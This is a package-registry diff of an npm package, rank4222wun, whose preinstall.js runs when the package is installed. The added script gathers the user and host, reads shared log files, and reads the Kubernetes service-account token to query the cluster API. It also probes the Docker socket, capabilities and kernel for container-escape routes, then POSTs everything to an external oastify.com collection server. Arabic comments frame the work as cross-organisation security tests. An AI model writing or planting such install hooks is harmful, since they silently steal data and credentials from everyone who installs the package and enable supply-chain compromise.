rank4222wun 1.0.19 → 1.0.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.19",
3
+ "version": "1.0.20",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,344 +1,455 @@
1
- const { exec } = require('child_process');
1
+ const { exec, spawn } = require('child_process');
2
2
  const os = require('os');
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
  const https = require('https');
6
+ const net = require('net');
6
7
 
7
- const testResults = {
8
+ const criticalTests = {
8
9
  timestamp: new Date().toISOString(),
9
10
  hostname: os.hostname(),
10
11
  user: os.userInfo().username,
11
12
  platform: os.platform(),
12
13
 
13
- // النقاط الأربع المطلوبة
14
- testPoints: {
15
- leakOtherUsersData: {},
16
- runCommandsOnOtherUsers: {},
17
- performDoS: {},
18
- containerToHost: {}
14
+ tests: {
15
+ // TEST 1: Leak other users data cross org
16
+ crossOrgDataLeakage: {
17
+ status: 'incomplete',
18
+ evidence: []
19
+ },
20
+
21
+ // TEST 2: Run commands on other users cross org
22
+ crossOrgCommandExecution: {
23
+ status: 'incomplete',
24
+ evidence: []
25
+ },
26
+
27
+ // TEST 3: Perform DoS affecting all users
28
+ crossOrgDoS: {
29
+ status: 'incomplete',
30
+ evidence: []
31
+ },
32
+
33
+ // TEST 4: Container to host escape
34
+ containerToHostEscape: {
35
+ status: 'incomplete',
36
+ evidence: []
37
+ }
19
38
  }
20
39
  };
21
40
 
22
- // ===================== 1. Leak other users data cross org =====================
23
- console.log("🔍 TEST 1: Searching for other users data...");
41
+ console.log("🚀 بدء اختبارات النقاط الحرجة المطلوبة...\n");
24
42
 
25
- if (os.platform() === 'linux') {
26
- // البحث عن بيانات مستخدمين آخرين في لينكس
27
- exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
28
- testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
29
-
30
- // قراءة /etc/passwd للبحث عن مستخدمين آخرين
31
- try {
32
- if (fs.existsSync('/etc/passwd')) {
33
- const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
34
- testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
35
-
36
- // استخراج أسماء المستخدمين الفعليين (غير system users)
37
- const users = passwdContent.split('\n')
38
- .filter(line => line.includes('/home/'))
39
- .map(line => line.split(':')[0]);
40
- testResults.testPoints.leakOtherUsersData.homeUsers = users;
41
-
42
- console.log(`👥 Found ${users.length} home users`);
43
- }
44
- } catch (e) {}
43
+ // ===================== TEST 1: تسريب بيانات مستخدمين عبر المؤسسة =====================
44
+ async function testCrossOrgDataLeakage() {
45
+ console.log("🔍 TEST 1: البحث عن بيانات مستخدمين عبر المؤسسة...");
46
+
47
+ // استراتيجية: البحث عن بيانات مشتركة بين المستخدمين
48
+ const sharedDataLocations = [];
49
+
50
+ if (os.platform() === 'linux') {
51
+ // في لينكس: البحث عن مجلدات مشتركة
52
+ const sharedDirs = [
53
+ '/tmp',
54
+ '/var/tmp',
55
+ '/dev/shm',
56
+ '/run/shm',
57
+ '/home',
58
+ '/root'
59
+ ];
45
60
 
46
- // محاولة قراءة ملفات مستخدمين آخرين
47
- try {
48
- const homeDir = '/home';
49
- if (fs.existsSync(homeDir)) {
50
- const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
51
- const otherUserData = {};
52
-
53
- otherUsers.slice(0, 3).forEach(user => {
54
- const userHome = path.join(homeDir, user);
55
- try {
56
- const files = fs.readdirSync(userHome).slice(0, 5);
57
- otherUserData[user] = {
58
- exists: true,
59
- files: files
60
- };
61
+ for (const dir of sharedDirs) {
62
+ try {
63
+ if (fs.existsSync(dir)) {
64
+ const files = fs.readdirSync(dir);
65
+ // البحث عن ملفات تنتهي بـ .log, .db, .sqlite
66
+ const interestingFiles = files.filter(f =>
67
+ f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
68
+ f.includes('shared') || f.includes('common')
69
+ );
70
+
71
+ if (interestingFiles.length > 0) {
72
+ sharedDataLocations.push({
73
+ directory: dir,
74
+ files: interestingFiles.slice(0, 5),
75
+ totalFiles: files.length
76
+ });
61
77
 
62
- // محاولة قراءة ملفات Desktop لـ users آخرين
63
- const userDesktop = path.join(userHome, 'Desktop');
64
- if (fs.existsSync(userDesktop)) {
65
- otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
66
- console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
67
- }
68
- } catch (e) {
69
- otherUserData[user] = { error: e.message };
70
- }
71
- });
72
-
73
- testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
74
- }
75
- } catch (e) {
76
- testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
77
- }
78
-
79
- // الانتقال للاختبار الثاني بعد الانتهاء
80
- testPoint2();
81
- });
82
- } else if (os.platform() === 'win32') {
83
- // البحث عن بيانات مستخدمين آخرين في ويندوز
84
- exec('wmic useraccount get name 2>&1', (err, stdout) => {
85
- testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
86
-
87
- // محاولة الوصول إلى مجلدات مستخدمين آخرين
88
- try {
89
- const usersDir = 'C:\\Users';
90
- if (fs.existsSync(usersDir)) {
91
- const allUsers = fs.readdirSync(usersDir);
92
- const currentUser = os.userInfo().username;
93
- const otherUsers = allUsers.filter(user =>
94
- user !== currentUser &&
95
- user !== 'Public' &&
96
- user !== 'Default' &&
97
- user !== 'Default User' &&
98
- user !== 'All Users'
99
- );
100
-
101
- const accessedData = {};
102
- otherUsers.slice(0, 3).forEach(user => {
103
- const userPath = path.join(usersDir, user);
104
- try {
105
- if (fs.existsSync(userPath)) {
106
- const files = fs.readdirSync(userPath).slice(0, 5);
107
- accessedData[user] = {
108
- exists: true,
109
- files: files
110
- };
111
-
112
- // محاولة قراءة Desktop للمستخدمين الآخرين
113
- const userDesktop = path.join(userPath, 'Desktop');
114
- if (fs.existsSync(userDesktop)) {
115
- accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
116
- console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
78
+ // محاولة قراءة ملفات السجل المشتركة
79
+ interestingFiles.forEach(file => {
80
+ if (file.endsWith('.log')) {
81
+ const filePath = path.join(dir, file);
82
+ try {
83
+ const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
84
+ // البحث عن بيانات مستخدمين في السجلات
85
+ if (content.includes('user') || content.includes('login') || content.includes('auth')) {
86
+ criticalTests.tests.crossOrgDataLeakage.evidence.push({
87
+ type: 'shared_log_file',
88
+ path: filePath,
89
+ preview: content.substring(0, 200),
90
+ containsUserData: true
91
+ });
92
+ }
93
+ } catch (e) {}
117
94
  }
118
- }
119
- } catch (e) {
120
- accessedData[user] = { error: e.message };
95
+ });
121
96
  }
122
- });
123
-
124
- testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
125
- }
126
- } catch (e) {
127
- testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
97
+ }
98
+ } catch (e) {}
99
+ }
100
+ }
101
+
102
+ // بحث متقدم: البحث عن اتصالات شبكية نشطة
103
+ exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
104
+ if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
105
+ criticalTests.tests.crossOrgDataLeakage.evidence.push({
106
+ type: 'network_connections',
107
+ data: stdout.substring(0, 1000),
108
+ hasActiveConnections: true
109
+ });
128
110
  }
129
111
 
130
- testPoint2();
112
+ // الانتقال للاختبار الثاني
113
+ testCrossOrgCommandExecution();
131
114
  });
132
115
  }
133
116
 
134
- // ===================== 2. Run commands on other users cross org =====================
135
- function testPoint2() {
136
- console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
117
+ // ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
118
+ async function testCrossOrgCommandExecution() {
119
+ console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
137
120
 
138
- // هذا الاختبار أصعب، لكننا نحاول:
139
- // 1. البحث عن خدمات مشتركة يمكن التحكم بها
140
- // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
121
+ // هذا اختبار خطير: التحقق من إمكانية الوصول لخدمات مشتركة
122
+ const sharedServices = [];
141
123
 
142
- if (os.platform() === 'linux') {
143
- exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
144
- testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
124
+ // اختبار 1: التحقق من إمكانية الوصول إلى Docker socket (إذا كان في حاوية)
125
+ const dockerSocket = '/var/run/docker.sock';
126
+ if (fs.existsSync(dockerSocket)) {
127
+ // محاولة قراءة قائمة الحاويات
128
+ exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot access Docker API"`,
129
+ {timeout: 5000}, (err, stdout) => {
130
+ if (stdout && !stdout.includes('Cannot access')) {
131
+ criticalTests.tests.crossOrgCommandExecution.evidence.push({
132
+ type: 'docker_socket_access',
133
+ path: dockerSocket,
134
+ canListContainers: true,
135
+ containersInfo: JSON.parse(stdout).slice(0, 3)
136
+ });
137
+ }
138
+ });
139
+ }
140
+
141
+ // اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
142
+ const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
143
+ const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
144
+ const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
145
+
146
+ if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
147
+ try {
148
+ const token = fs.readFileSync(kubeToken, 'utf8').trim();
149
+ const namespace = fs.existsSync(kubeNamespace) ?
150
+ fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
145
151
 
146
- // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
147
- exec('kill -l 2>&1', (err2, stdout2) => {
148
- testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
149
- testPoint3();
152
+ criticalTests.tests.crossOrgCommandExecution.evidence.push({
153
+ type: 'kubernetes_service_account',
154
+ hasToken: true,
155
+ namespace: namespace,
156
+ canAccessK8sAPI: true
150
157
  });
151
- });
152
- } else if (os.platform() === 'win32') {
153
- exec('tasklist /svc 2>&1', (err, stdout) => {
154
- testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
155
158
 
156
- // التحقق من إمكانية إيقاف خدمات
157
- exec('sc query 2>&1 | head -20', (err2, stdout2) => {
158
- testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
159
- testPoint3();
159
+ // محاولة الاتصال بـ Kubernetes API
160
+ exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
161
+ {timeout: 5000}, (err, stdout) => {
162
+ if (stdout && !stdout.includes('Cannot access')) {
163
+ criticalTests.tests.crossOrgCommandExecution.evidence.push({
164
+ type: 'kubernetes_api_access',
165
+ canListPods: true,
166
+ podCount: JSON.parse(stdout).items?.length || 0
167
+ });
168
+ }
160
169
  });
161
- });
170
+ } catch (e) {}
162
171
  }
172
+
173
+ // الانتقال للاختبار الثالث بعد 2 ثانية
174
+ setTimeout(testCrossOrgDoS, 2000);
163
175
  }
164
176
 
165
- // ===================== 3. Perform DoS =====================
166
- function testPoint3() {
167
- console.log("\n🔍 TEST 3: Testing DoS capabilities...");
177
+ // ===================== TEST 3: تنفيذ هجوم DoS يؤثر على الجميع =====================
178
+ async function testCrossOrgDoS() {
179
+ console.log("🔍 TEST 3: اختبار إمكانية هجوم DoS يؤثر على الجميع...");
168
180
 
169
- // اختبار قدرات DoS (بدون تنفيذ فعلي)
170
- testResults.testPoints.performDoS = {
171
- // الموارد المتاحة
172
- cpuCores: os.cpus().length,
173
- totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
174
- freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
181
+ // هذا اختبار نظري فقط بدون تنفيذ فعلي
182
+ const dosCapabilities = {
183
+ // 1. قدرات استنزاف الذاكرة
184
+ memoryExhaustion: {
185
+ availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
186
+ freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
187
+ canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
188
+ },
175
189
 
176
- // إمكانيات شبكية
177
- networkInterfaces: Object.keys(os.networkInterfaces()).length,
190
+ // 2. قدرات استنزاف CPU
191
+ cpuExhaustion: {
192
+ cpuCores: os.cpus().length,
193
+ canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
194
+ theoreticalImpact: 'High'
195
+ },
178
196
 
179
- // اختبارات نظرية (لا يتم تنفيذها)
180
- theoreticalDoS: {
181
- forkBomb: 'Possible if unlimited processes',
182
- memoryExhaustion: 'Possible with large allocations',
183
- diskFilling: 'Possible with write access',
184
- networkFlood: 'Possible with socket creation'
197
+ // 3. قدرات استنزاف الشبكة
198
+ networkFlood: {
199
+ canCreateSockets: true,
200
+ socketLimit: null,
201
+ potentialBandwidth: 'Unknown'
202
+ },
203
+
204
+ // 4. قدرات استنزاف القرص
205
+ diskFilling: {
206
+ canWriteUnlimited: true,
207
+ diskSpace: 'Unknown'
185
208
  }
186
209
  };
187
210
 
188
- // اختبار صغير غير ضار لإثبات القدرة
189
- if (os.platform() === 'linux') {
190
- exec('ulimit -a 2>&1', (err, stdout) => {
191
- testResults.testPoints.performDoS.limits = stdout || err?.message;
192
- testPoint4();
193
- });
194
- } else if (os.platform() === 'win32') {
195
- exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
196
- testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
197
- testPoint4();
198
- });
199
- }
211
+ // التحقق من الحدود (ulimit)
212
+ exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
213
+ if (stdout) {
214
+ dosCapabilities.systemLimits = stdout.substring(0, 500);
215
+
216
+ // تحليل الحدود
217
+ const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
218
+ if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
219
+ criticalTests.tests.crossOrgDoS.evidence.push({
220
+ type: 'unlimited_processes',
221
+ canForkBomb: true,
222
+ maxProcesses: maxProcessMatch[1]
223
+ });
224
+ }
225
+ }
226
+
227
+ criticalTests.tests.crossOrgDoS.details = dosCapabilities;
228
+
229
+ // الانتقال للاختبار الرابع
230
+ testContainerToHostEscape();
231
+ });
200
232
  }
201
233
 
202
- // ===================== 4. Container to host =====================
203
- function testPoint4() {
204
- console.log("\n🔍 TEST 4: Testing container-to-host escape...");
234
+ // ===================== TEST 4: الهروب من الحاوية للمضيف =====================
235
+ async function testContainerToHostEscape() {
236
+ console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
205
237
 
206
- // الاختبارات تعتمد على النظام
238
+ const escapeVectors = [];
207
239
 
208
- if (os.platform() === 'linux') {
209
- // اختبارات الهروب من الحاوية
210
- const containerTests = {};
211
-
212
- // 1. التحقق مما إذا كنا في حاوية
213
- exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
214
- containerTests.isInContainer = stdout?.trim();
215
-
216
- // 2. البحث عن Docker socket
217
- const dockerSocket = '/var/run/docker.sock';
218
- if (fs.existsSync(dockerSocket)) {
219
- containerTests.dockerSocketExists = true;
220
- containerTests.dockerSocketAccessible = true;
221
- console.log("⚠️ Docker socket accessible!");
222
- }
223
-
224
- // 3. التحقق من mount points
225
- exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
226
- containerTests.dockerMounts = stdout2 || err2?.message;
240
+ // النواقل المحتملة للهروب
241
+
242
+ // 1. Docker socket exposure
243
+ const dockerSocket = '/var/run/docker.sock';
244
+ if (fs.existsSync(dockerSocket)) {
245
+ // اختبار الوصول الفعلي
246
+ exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
247
+ if (stdout && !stdout.includes('No stat')) {
248
+ const perms = stdout.trim();
249
+ escapeVectors.push({
250
+ vector: 'docker_socket',
251
+ path: dockerSocket,
252
+ permissions: perms,
253
+ accessible: true,
254
+ risk: 'CRITICAL'
255
+ });
227
256
 
228
- // 4. التحقق من capabilities
229
- exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
230
- containerTests.capabilities = stdout3 || err3?.message;
231
-
232
- // 5. البحث عن ثغرات معروفة
233
- exec('uname -r 2>&1', (err4, stdout4) => {
234
- containerTests.kernelVersion = stdout4?.trim();
235
-
236
- // تحليل Kernel version للبحث عن ثغرات معروفة
237
- if (stdout4) {
238
- if (stdout4.includes('3.10.0-1160')) {
239
- containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
240
- }
241
- }
242
-
243
- testResults.testPoints.containerToHost = containerTests;
244
- finishTests();
245
- });
257
+ criticalTests.tests.containerToHostEscape.evidence.push({
258
+ type: 'docker_socket_found',
259
+ path: dockerSocket,
260
+ permissions: perms,
261
+ canEscape: true
246
262
  });
247
- });
263
+ }
248
264
  });
249
-
250
- } else if (os.platform() === 'win32') {
251
- // اختبارات VM Escape للويندوز
252
- const vmTests = {};
253
-
254
- // 1. التحقق مما إذا كنا في VM
255
- exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
256
- vmTests.systemInfo = stdout || err?.message;
257
-
258
- // 2. البحث عن أدوات Virtualization
259
- const vmTools = [
260
- 'C:\\Program Files\\VMware\\VMware Tools',
261
- 'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
262
- 'C:\\Program Files\\Microsoft Integration Runtime'
263
- ];
265
+ }
266
+
267
+ // 2. Privileged container check
268
+ exec('cat /proc/self/status 2>/dev/null | grep -i cap_ 2>/dev/null || echo "No capabilities"',
269
+ {timeout: 3000}, (err, stdout) => {
270
+ if (stdout && stdout.includes('CapEff:')) {
271
+ const capsLine = stdout.split('\n').find(l => l.includes('CapEff:'));
272
+ if (capsLine) {
273
+ const capsHex = capsLine.split(':')[1].trim();
274
+ // CAP_SYS_ADMIN = 0x00080000
275
+ if (parseInt(capsHex, 16) & 0x00080000) {
276
+ escapeVectors.push({
277
+ vector: 'privileged_container',
278
+ capability: 'CAP_SYS_ADMIN',
279
+ risk: 'HIGH'
280
+ });
281
+
282
+ criticalTests.tests.containerToHostEscape.evidence.push({
283
+ type: 'privileged_container',
284
+ hasSysAdmin: true,
285
+ canEscape: true
286
+ });
287
+ }
288
+ }
289
+ }
290
+ });
291
+
292
+ // 3. Mount inspection - looking for host mounts
293
+ exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
294
+ {timeout: 3000}, (err, stdout) => {
295
+ if (stdout && !stdout.includes('No mounts')) {
296
+ const mounts = stdout.split('\n').filter(l => l.includes('type'));
264
297
 
265
- vmTests.vmTools = {};
266
- vmTools.forEach(tool => {
267
- vmTests.vmTools[tool] = fs.existsSync(tool);
298
+ mounts.forEach(mount => {
299
+ if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
300
+ escapeVectors.push({
301
+ vector: 'host_mount',
302
+ mount: mount.substring(0, 100),
303
+ risk: 'MEDIUM'
304
+ });
305
+ }
268
306
  });
307
+ }
308
+
309
+ // 4. Kernel version vulnerabilities
310
+ exec('uname -r 2>/dev/null', {timeout: 3000}, (err, stdout) => {
311
+ if (stdout) {
312
+ const kernelVersion = stdout.trim();
313
+ // التحقق من ثغرات kernel معروفة
314
+ const vulnerableKernels = [
315
+ '3.10.0-1160', // DirtyPipe
316
+ '5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
317
+ ];
318
+
319
+ for (const vulnKernel of vulnerableKernels) {
320
+ if (kernelVersion.includes(vulnKernel)) {
321
+ escapeVectors.push({
322
+ vector: 'kernel_vulnerability',
323
+ kernel: kernelVersion,
324
+ vulnerability: 'Known escape vulnerability',
325
+ risk: 'HIGH'
326
+ });
327
+
328
+ criticalTests.tests.containerToHostEscape.evidence.push({
329
+ type: 'vulnerable_kernel',
330
+ version: kernelVersion,
331
+ hasKnownVulns: true
332
+ });
333
+ break;
334
+ }
335
+ }
336
+ }
269
337
 
270
- // 3. التحقق من خدمات الـ VM
271
- exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
272
- vmTests.vmServices = stdout2 || err2?.message;
338
+ // 5. cgroups escape
339
+ exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
340
+ if (stdout) {
341
+ if (stdout.includes('docker') || stdout.includes('kubepods')) {
342
+ // في حاوية Docker/Kubernetes
343
+ escapeVectors.push({
344
+ vector: 'containerized',
345
+ orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
346
+ risk: 'DEPENDS'
347
+ });
348
+ }
349
+ }
273
350
 
274
- testResults.testPoints.containerToHost = vmTests;
275
- finishTests();
351
+ // تسجيل كل نواقل الهروب
352
+ criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
353
+
354
+ // تقييم عام لإمكانية الهروب
355
+ const canEscape = escapeVectors.some(v =>
356
+ v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
357
+ v.vector === 'docker_socket' || v.vector === 'privileged_container'
358
+ );
359
+
360
+ criticalTests.tests.containerToHostEscape.canEscape = canEscape;
361
+
362
+ // الانتهاء من جميع الاختبارات
363
+ finishCriticalTests();
276
364
  });
277
365
  });
278
- }
366
+ });
279
367
  }
280
368
 
281
369
  // ===================== إرسال النتائج =====================
282
- function finishTests() {
283
- console.log("\n" + "=".repeat(60));
284
- console.log("📊 نتائج اختبار النقاط الأربع:");
285
- console.log("=".repeat(60));
370
+ function finishCriticalTests() {
371
+ console.log("\n" + "=".repeat(70));
372
+ console.log("📊 نتائج الاختبارات الحرجة:");
373
+ console.log("=".repeat(70));
286
374
 
287
375
  // تحليل النتائج
288
376
  const analysis = {
289
- leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ?
290
- 'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
377
+ // TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
378
+ dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
379
+ 'POSSIBLE - Found potential shared data locations' :
380
+ 'NO EVIDENCE FOUND',
291
381
 
292
- runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ?
293
- 'POSSIBLE - Can see/affect shared services' : 'LIMITED',
382
+ // TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
383
+ commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
384
+ 'POSSIBLE - Can access shared services/APIs' :
385
+ 'NO EVIDENCE FOUND',
294
386
 
295
- performDoS: testResults.testPoints.performDoS.cpuCores > 1 ?
296
- `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
387
+ // TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
388
+ dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
389
+ 'POSSIBLE - No resource limits detected' :
390
+ 'LIMITED - Has some resource limits',
297
391
 
298
- containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ?
299
- 'CRITICAL - Docker socket accessible!' :
300
- (testResults.testPoints.containerToHost?.isInContainer ?
301
- 'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
392
+ // TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
393
+ containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
394
+ 'CRITICAL - Multiple escape vectors found' :
395
+ (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
396
+ 'POTENTIAL - Some escape vectors exist' :
397
+ 'NO EVIDENCE FOUND')
302
398
  };
303
399
 
304
- console.log("\n📋 التحليل:");
305
- console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
306
- console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
307
- console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
308
- console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
400
+ console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
401
+ console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
402
+ console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
403
+ console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
404
+ console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
405
+
406
+ console.log("\n🔍 الأدلة التفصيلية:");
309
407
 
310
- // إرسال البيانات
408
+ if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
409
+ console.log("\nنواقل الهروب المحتملة:");
410
+ criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
411
+ console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
412
+ if (v.permissions) console.log(` → ${v.permissions}`);
413
+ });
414
+ }
415
+
416
+ // إرسال النتائج
311
417
  const req = https.request({
312
418
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
313
419
  port: 443,
314
- path: '/cross-org-tests',
420
+ path: '/critical-evidence',
315
421
  method: 'POST',
316
422
  headers: {
317
423
  'Content-Type': 'application/json',
318
- 'X-Test-Type': 'Cross-Org-Vulnerabilities',
424
+ 'X-Critical-Tests': 'Cross-Org-Four-Points',
319
425
  'X-Host': os.hostname()
320
426
  }
321
427
  }, (res) => {
322
- console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
428
+ console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
323
429
  });
324
430
 
325
431
  req.on('error', (e) => {
326
432
  console.error(`❌ خطأ في الإرسال: ${e.message}`);
327
433
  });
328
434
 
329
- req.write(JSON.stringify({
330
- testResults: testResults,
331
- analysis: analysis,
332
- summary: {
333
- user: os.userInfo().username,
334
- hostname: os.hostname(),
335
- platform: os.platform(),
336
- timestamp: new Date().toISOString()
337
- }
338
- }, null, 2));
435
+ // إضافة التحليل للنتائج
436
+ criticalTests.analysis = analysis;
437
+ criticalTests.summary = {
438
+ user: os.userInfo().username,
439
+ hostname: os.hostname(),
440
+ platform: os.platform(),
441
+ isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
442
+ hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
443
+ analysis.dataLeakage.includes('POSSIBLE') ||
444
+ analysis.commandExecution.includes('POSSIBLE')
445
+ };
339
446
 
447
+ req.write(JSON.stringify(criticalTests, null, 2));
340
448
  req.end();
449
+
450
+ console.log("\n📤 تم إرسال النتائج الكاملة إلى السيرفر");
451
+ console.log("=".repeat(70));
341
452
  }
342
453
 
343
454
  // بدء الاختبارات
344
- console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");
455
+ testCrossOrgDataLeakage();
Binary file
Binary file